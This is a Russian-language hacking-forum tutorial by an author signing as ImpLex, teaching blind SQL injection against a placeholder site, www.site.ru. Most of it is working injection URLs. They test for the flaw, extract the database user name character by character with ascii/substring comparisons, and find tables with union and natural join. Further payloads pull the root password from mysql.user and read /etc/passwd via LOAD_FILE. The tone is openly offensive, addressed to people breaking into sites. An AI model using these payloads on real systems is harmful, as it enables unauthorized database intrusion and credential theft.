[into]
Прежде всего, я хочу сказать спасибо большенству авторов статей про blind sql injection, за то, что они не могут объяснить и раскрыть тему с нуля, а втирают только про запутанные и никому не нужные функции, хоть и правильные, но безтолковые, я пишу статью для тех, кого интересует ответы на вечные вопросы... а одним из них является обход union'а в запросах. Чтобы хорошо усвоить все, я рекомендую вам свою статью по sql injection
http://forum.whack.ru/showthread.php?t=193
[немного из истории]
многие из нас знают про существование sql injection древнейший баг, многие люди искали эффективную защиту, усложняя жизнь взломщикам, одним из средств защиты является отрезание работоспособности необходимых функций, для этого взломщики приспособились к blind sql injection... Баг тоже не очень то и молодой... Принцип атаки тот же, только немного геморнее... Поехали к делу...
[Осмотр местности]
для начала нам нужно узнать присутствует ли баг в скрипте, который обращается к бд... Имеем такой скрипт
www.site.ru/index.php?id=10
ставим кавычку
www.site.ru/index.php?id=10'
если есть ошибка работы с базой данных, то есть вероятность о наличии sql инъекции
www.site.ru/index.php?id=11-1
если будет аналогично что и
www.site.ru/index.php?id=10
то это тоже скорее всего sql injection
если
www.site.ru/index.php?id=10+order+by+1--
ошибки нет а при
www.site.ru/index.php?id=10+order+by+100000000--
ошибка есть то это sql injection .
далее мы подобрали поля
www.site.ru/index.php?id=10+union+select+1,2,3,4,5,6--
но выводимые поля отсутствуют или вообще ничего нет, то тогда надо прибегнуть к попытке проведения blind sql injection
[Необходимые функции]
substring(1,2,3) - Это нам выдаст подстроку длиной 3 из строки 2 начиная с первой позиции
ascii - возращает нам значение из таблицы ascii
lower - все буквы будут переведены в нижний регистр, эта функция пригодится нам для удобства
к примеру
SELECT LOWER('ZXCVB');
вернет нам 'zxcvb'
обзор функций закончен идем дальше
[Практическое применение]
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))>97
запрос дал нам положительный результат, то есть выдалась страница что и
www.site.ru/index.php?id=11
это означает, что в ascii наш первый символ из user() находится под номером >97
идем дальше
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1 ,1)))>115
выдает нам отрицательный результат то есть не тоже самое что при простом id=11
значит в ascii наш символ находится <115
далее
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))>106
результат положительный, символ в ascii >106
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))>108
результат отрицательный
вот наш символ в таблице находится 106 и 108 включительно, так как у нас знак > о равенстве тут речи не идет
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))=106
результат отрицательный
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))=107
результат отрицательный
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))=108
результат положительный то есть выдалось нам тоже самое что и при id=11
первый символ из имени юзера имеет номер в ascii 108 это буква " l " (L) так как используется lower если это скажется неблаготворно на посимвольном
подборе, нам придется обойтись без её использования, так как мы теряем заглавные буквы, но в данный момент нет.
второй символ узнается таким же способом
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),2,1)))>1
результат положительный
итд мы дошли до 97
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),2,1)))=97
результат положительный значит наш символ в таблице ascii - 97 то есть буква a
далее
третий символ
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),3,1)))>1
результат положительный значит есть третий символ в имени
мы его таким же способом и подобрали
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),3,1)))=109
результат положительный итак наш третий символ в ascii имеет номер 109 то есть m
четвертый символ
www.site.ru/index.php?id=11+AND+ascii(lower(substring(user(),4,1)))>1
результат отрицательный, значит четвертого символа нету
и имя нашего юзера : lam
[Названия таблиц и столбцов]
Мне известны три способа
если пашет union но не выводит полей, то этим можно воспользоваться
www.site.ru/index.php?id=10+union+select+1,2,3,4,5,6--
мы подобрали поля ошибки нет
www.site.ru/index.php?id=10+union+select+1,2,3,4,5,6+from+user--
выода нет
www.site.ru/index.php?id=10+union+select+1,2,3,4,5,6+from+users--
вывелся результ что и при id=10
значит таблица есть поля аналогично что и при обычной sql inj
www.site.ru/index.php?id=10+union+select+1,2,user,4,5,6+from+users--
результат отрицательный
www.site.ru/index.php?id=10+union+select+1,2,username,4,5,6+from+users--
результат положительный, значит username такой столбец есть в таблице.
тут ясно
второй способ
www.site.ru/index.php?id=10+natural+left+join+user
результат отрицательный значит таблицы user нет
www.site.ru/index.php?id=10+natural+left+join+users
ошибки нет, значит таблица существует
третий способ
прямо в слепой инъекции
www.site.ru/index.php?id=1+AND+ascii(lower(substring((SELECT+1+from mysql.user+LIMIT+1),1,1)))>1
если таблица mysql.user существует, то нам выдаст результат 1 в ascii 31 и он >1 поэтому результат будет положительный, если нет, то ничего не выдаст и результат отрицательный... Подберем столбцы предположим есть таблица mysql.user
www.site.ru/index.php?id=1+AND+ascii(lower(substring((SELECT+user+from mysql.user+LIMIT+1),1,1)))>1
если нет столбца результат отрицательный, если таковой существует, то результат положительный...
Таким же способом можно узнать имя юзера и пароль, то есть так же как я описывал выше.
есть ещё такой вариант перебора, но он мне не нравится...
www.site.ru/index.php?id=11+AND+ascii(lower(substring((SELECT+password from mysql.user+WHERE+user="root"+LIMIT+1),1,1)))>48
просто мы указывам тут лишние значеения, которые могут быть нам не известны.
Функция LIMIT+1 отрезает нам первого юзера из таблицы, LIMIT+2 вырезает второго итд... Можно выдирать данные из information_schema а если ты панк то и
www.site.ru/index.php?id=1+AND+ascii(lower(substring((SELECT+LOAD_FILE('etc/passwd')+from mysql.user+LIMIT+1),1,1)))>1если месяц потрудитесь, то может и выдерите юзеров из etc
(c)ImpLex - Whack.ru